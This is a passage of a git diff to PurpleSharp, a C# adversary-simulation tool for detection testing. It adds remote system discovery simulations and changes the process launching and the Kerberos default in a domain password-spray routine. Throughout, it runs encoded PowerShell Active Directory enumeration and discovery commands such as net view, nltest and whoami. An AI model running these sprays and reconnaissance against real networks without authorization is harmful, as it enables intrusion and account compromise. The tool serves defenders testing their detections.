"T1201","T1069.001", "T1069.002", "T1012", "T1518.001", "T1082", "T1124" }; + string[] discovery = new string[] { "T1135", "T1046", "T1087.001", "T1087.002", "T1007", "T1033", "T1049", "T1016", "T1018", "T1083", "T1482", "T1201","T1069.001", "T1069.002", "T1012", "T1518.001", "T1082", "T1124" }; string[] lateral_movement = new string[] { "T1021", "T1021.006", "T1047" }; string[] supported_techniques = execution.Union(persistence).Union(privelege_escalation).Union(defense_evasion).Union(credential_access).Union(discovery).Union(lateral_movement).ToArray(); @@ -317,7 +317,11 @@ public static void Main(string[] args) foreach (PlaybookTask task in playbook.tasks) { ExecutePlaybookTask(task, log); - if (playbook.playbook_sleep > 0 && task != lastTask) Thread.Sleep(1000 * playbook.playbook_sleep); + if (playbook.playbook_sleep > 0 && task != lastTask) + { + logger.TimestampInfo(String.Format("Sleeping {0} seconds until next task...", playbook.playbook_sleep)); + Thread.Sleep(1000 * playbook.playbook_sleep); + } } logger.TimestampInfo("Playbook Finished"); if (engagement.sleep > 0 && !playbook.Equals(lastPlaybook)) @@ -1055,6 +1059,12 @@ public static void ExecutePlaybookTask(PlaybookTask playbook_task, string log) Simulations.Discovery.SystemNetworkConfigurationDiscovery(log); break; + // Remote System Discovery + case "T1018": + if (playbook_task.variation == 1) Simulations.Discovery.RemoteSystemDiscoveryCmd(log); + else if (playbook_task.variation == 2) Simulations.Discovery.RemoteSystemDiscoveryPowerShell(log); + break; + //T1083 File and Directory Discovery case "T1083": Simulations.Discovery.FileAndDirectoryDiscovery(log); diff --git a/PurpleSharp/Simulations/CredAccess.cs b/PurpleSharp/Simulations/CredAccess.cs index f18e1a6..26b10d8 100644 --- a/PurpleSharp/Simulations/CredAccess.cs +++ b/PurpleSharp/Simulations/CredAccess.cs @@ -58,7 +58,7 @@ public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1110.003"); logger.TimestampInfo(String.Format("Remote Domain Brute Force using the WNetAddConnection2 Win32 API function")); - bool Kerberos = true; + bool Kerberos = false; List host_targets = new List(); List user_targets = new List(); List tasklist = new List(); @@ -68,9 +68,11 @@ public static void RemoteDomainPasswordSpray(PlaybookTask playbook_task, string { if (playbook_task.user_target_type == 99) domain = "."; // Executing a remote authentication with Kerberos will not connect to the remote host, just the DC. + Kerberos = false; + host_targets = Targets.GetHostTargets(playbook_task, logger); user_targets = Targets.GetUserTargets(playbook_task, logger); - if (playbook_task.protocol.ToUpper().Equals("NTLM")) Kerberos = false; + //if (playbook_task.protocol.ToUpper().Equals("NTLM")) Kerberos = false; if (playbook_task.task_sleep > 0) logger.TimestampInfo(String.Format("Sleeping {0} seconds between attempt", playbook_task.task_sleep)); if (playbook_task.host_target_type == 1 || playbook_task.host_target_type == 2) diff --git a/PurpleSharp/Simulations/Discovery.cs b/PurpleSharp/Simulations/Discovery.cs index ca8444e..6cd1d4b 100644 --- a/PurpleSharp/Simulations/Discovery.cs +++ b/PurpleSharp/Simulations/Discovery.cs @@ -192,7 +192,7 @@ public static void DomainAccountDiscoveryCmd(string log) public static void DomainAccountDiscoveryPowerShell(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1087.002"); logger.TimestampInfo("Using PowerShell to execute the technique"); @@ -201,7 +201,8 @@ public static void DomainAccountDiscoveryPowerShell(string log) string cleanPws = String.Format("Get-ADUser -Filter * | Select-Object SamAccountNAme"); logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); var cleanPwsBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); - ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); logger.SimulationFinished(); } catch (Exception ex) @@ -276,7 +277,8 @@ public static void SystemUserDiscovery(string log) logger.SimulationHeader("T1033"); try { - ExecutionHelper.StartProcessApi("", "whoami", logger); + //ExecutionHelper.StartProcessApi("", "whoami", logger); + ExecutionHelper.StartProcessNET("cmd.exe", "/c whoami", logger); logger.SimulationFinished(); } catch(Exception ex) @@ -347,7 +349,8 @@ public static void DomainTrustDiscoveryCmd(string log) try { - ExecutionHelper.StartProcessApi("","nltest /domain_trusts", logger); + ExecutionHelper.StartProcessNET("nltest.exe", "/domain_trusts", logger); + //ExecutionHelper.StartProcessApi("","nltest /domain_trusts", logger); logger.SimulationFinished(); } catch (Exception ex) @@ -426,13 +429,15 @@ public static void DomainGroupDiscoveryCmd(PlaybookTask playbook_task, string lo { foreach (string group in playbook_task.groups) { - ExecutionHelper.StartProcessApi("", String.Format("net group \"{0}\" /domain", group), logger); + ExecutionHelper.StartProcessNET("net.exe", String.Format("group \"{0}\" /domain", group), logger); + //ExecutionHelper.StartProcessApi("", String.Format("net group \"{0}\" /domain", group), logger); } logger.SimulationFinished(); } else { - ExecutionHelper.StartProcessApi("", "net group /domain", logger); + ExecutionHelper.StartProcessNET("net.exe", String.Format("group /domain"), logger); + //ExecutionHelper.StartProcessApi("", "net group /domain", logger); logger.SimulationFinished(); } @@ -458,7 +463,8 @@ public static void DomainGroupDiscoveryPowerShell(PlaybookTask playbook_task, st string cleanPws = String.Format("Get-AdGroup -Filter {{Name -like '{0}'}} | Get-ADGroupMember | Select SamAccountName", group); logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); - ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(plainTextBytes)), logger); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(plainTextBytes)), logger); } logger.SimulationFinished(); } @@ -554,14 +560,16 @@ public static void SecuritySoftwareDiscovery(string log) public static void SystemInformationDiscovery(string log) { string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Lib.Logger logger = new Lib.Logger(currentPath + log); + Logger logger = new Logger(currentPath + log); logger.SimulationHeader("T1082"); logger.TimestampInfo("Using the command line to execute the technique"); try { - ExecutionHelper.StartProcessApi("", "systeminfo", logger); - ExecutionHelper.StartProcessApi("", "net config workstation", logger); + //ExecutionHelper.StartProcessApi("", "systeminfo", logger); + //ExecutionHelper.StartProcessApi("", "net config workstation", logger); + ExecutionHelper.StartProcessNET("cmd.exe /c", "systeminfo", logger); + //ExecutionHelper.StartProcessNET("net.exe", "config workstation", logger); logger.SimulationFinished(); } @@ -590,6 +598,45 @@ public static void SystemTimeDiscovery(string log) logger.SimulationFailed(ex); } } - + public static void RemoteSystemDiscoveryCmd(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1018"); + logger.TimestampInfo("Using the command line to execute the technique"); + + try + { + ExecutionHelper.StartProcessNET("cmd.exe", "/c net view", logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + + public static void RemoteSystemDiscoveryPowerShell(string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + logger.SimulationHeader("T1018"); + logger.TimestampInfo("Using PowerShell to execute the technique"); + + try + { + string cleanPws = String.Format("Get-ADComputer -Filter {{enabled -eq $true}} | Select-Object Name, DNSHostName, OperatingSystem, LastLogonDate"); + logger.TimestampInfo(String.Format("Using plaintext PowerShell command: {0}", cleanPws)); + var cleanPwsBytes = System.Text.Encoding.Unicode.GetBytes(cleanPws); + ExecutionHelper.StartProcessNET("powershell.exe", String.Format("-enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + //ExecutionHelper.StartProcessApi("", String.Format("powershell.exe -enc {0}", Convert.ToBase64String(cleanPwsBytes)), logger); + logger.SimulationFinished(); + } + catch (Exception ex) + { + logger.SimulationFailed(ex); + } + } + } } diff --git a/PurpleSharp/Simulations/ExecutionHelper.cs b/PurpleSharp/Simulations/ExecutionHelper.cs index 9e665fa..e09ff69 100644 --- a/PurpleSharp/Simulations/ExecutionHelper.cs +++ b/PurpleSharp/Simulations/ExecutionHelper.cs @@ -68,7 +68,7 @@ public static void StartProcessNET(string binary, string cmdline, Logger logger) string standard_output; int i = 0; - while ((standard_output = process.StandardOutput.ReadLine()) != null && i < 5) + while ((standard_output = process.StandardOutput.ReadLine()) != null && i < 10) { if (!standard_output.Trim().Equals("")) {